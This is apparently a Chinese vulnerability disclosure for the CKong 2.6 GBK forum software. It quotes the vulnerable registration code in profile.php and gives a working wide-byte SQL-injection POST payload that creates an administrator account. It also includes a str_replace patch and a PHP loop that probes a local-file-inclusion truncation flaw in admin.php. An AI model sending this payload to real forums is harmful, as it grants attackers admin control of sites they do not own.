问题出现在profile.php文件里面,过滤了$reguser,$regemail,后面的$reghomepage,$regarea,$regcomm,$regsex都可以用宽字节注入,直接得到一个管理员权限的用户。
代码如下:
以下是引用片段:
if($action=='reg' && $reguser) { if($Global['hashto']['reg'] && (!$hashnum || $hashnum<>$_SESSION[$Global['privprefix'].'imghash'])) $C_errormsg.='<li>验证码错误</li>'; if (!preg_match("/^([\x81-\xfea-z0-9]){3,12}$/i",$reguser)) $C_errormsg.='<li>用户名请用3-12字节的中文字母或数字</li>'; if(!eregi("^[_\.0-9a-z-]+@([0-9a-z][0-9a-z-]+\.)+[a-z]{2,3}$",$regemail)) $C_errormsg.='<li>Email填写错误</li>'; $sql='select user_id from '.__TAB_USER__." where ".$Global['mysql_userow']."='".$reguser."'"; $result=$db->query($sql); if($rows=$db->fetch_row($result)) $C_errormsg.='<li>用户名已存在</li>'; $sql='select ban_id from '.__TAB_BANLIST__." where ban_name='".$reguser."'"; $result=$db->query($sql); if($rows=$db->fetch_row($result)) $C_errormsg.='<li>此用户名已被禁止</li>'; $db->free_result($result); if(!$C_errormsg) { $sql='insert into '.__TAB_USER__." set ".$Global['mysql_userow']."='$reguser',".$Global['mysql_pwdrow']."='".md5($regpwd)."', user_email='$regemail',user_qq='".intval($regqq)."',user_regdate='".$Global['F_time']."', user_homepage='$reghomepage',user_area='$regarea',user_comm='$regcomm',user_sex='$regsex', user_publicemail='".intval($publicmail)."',group_id=2"; die("\r\n".$sql); if(!($result=$db->query($sql))) back('注册数据插入失败');
自行抓包直接POST提交到:
http://www.2cto.com /phptest/Ckong2/CKong2.6/profile.php
reguser=seraph3®pwd=seraph®pwd2=seraph®email=seraphsdflk2@dfc.om&publicmail=1®sex=1%d5',user_publicemail%3d1,group_id%3D7#®qq=343434®homepage=1212121®area=121212®comm=%CE%D2%CA%B2%C3%B4%D2%B2%B2%BB
修补方法:
$reghomepage=str_replace("'","‘",$reghomepage); $regarea=str_replace("'","‘",$regarea); $regcomm=str_replace("'","‘",$regcomm); $regsex=str_replace("'","‘",$regsex);
还来还是不能太相信GPC了,自己手动过滤过滤比较靠得住一点。
----------------------------- JJ的分割线 -----------------------------
这套程序还有一个本地包含 漏洞 。
在本地全登录后,admin.php 里面代码:
以下是引用片段:
<?php ini_set('max_execution_time', 0); $str=''; for($i=0;$i<1000;$i++) { $str=$str."."; $pfile="create.txt"; if(include_once ($pfile.$str.'.php')) echo $i; } ?> 关于这个问题,希望大家一起来讨论讨论。
这套程序只是一个小程序,可能用的人不多,全当技术练习。
查看更多关于心空论坛(CKong)2.6 GBK版注入漏洞 & 本地包含漏的详细内容...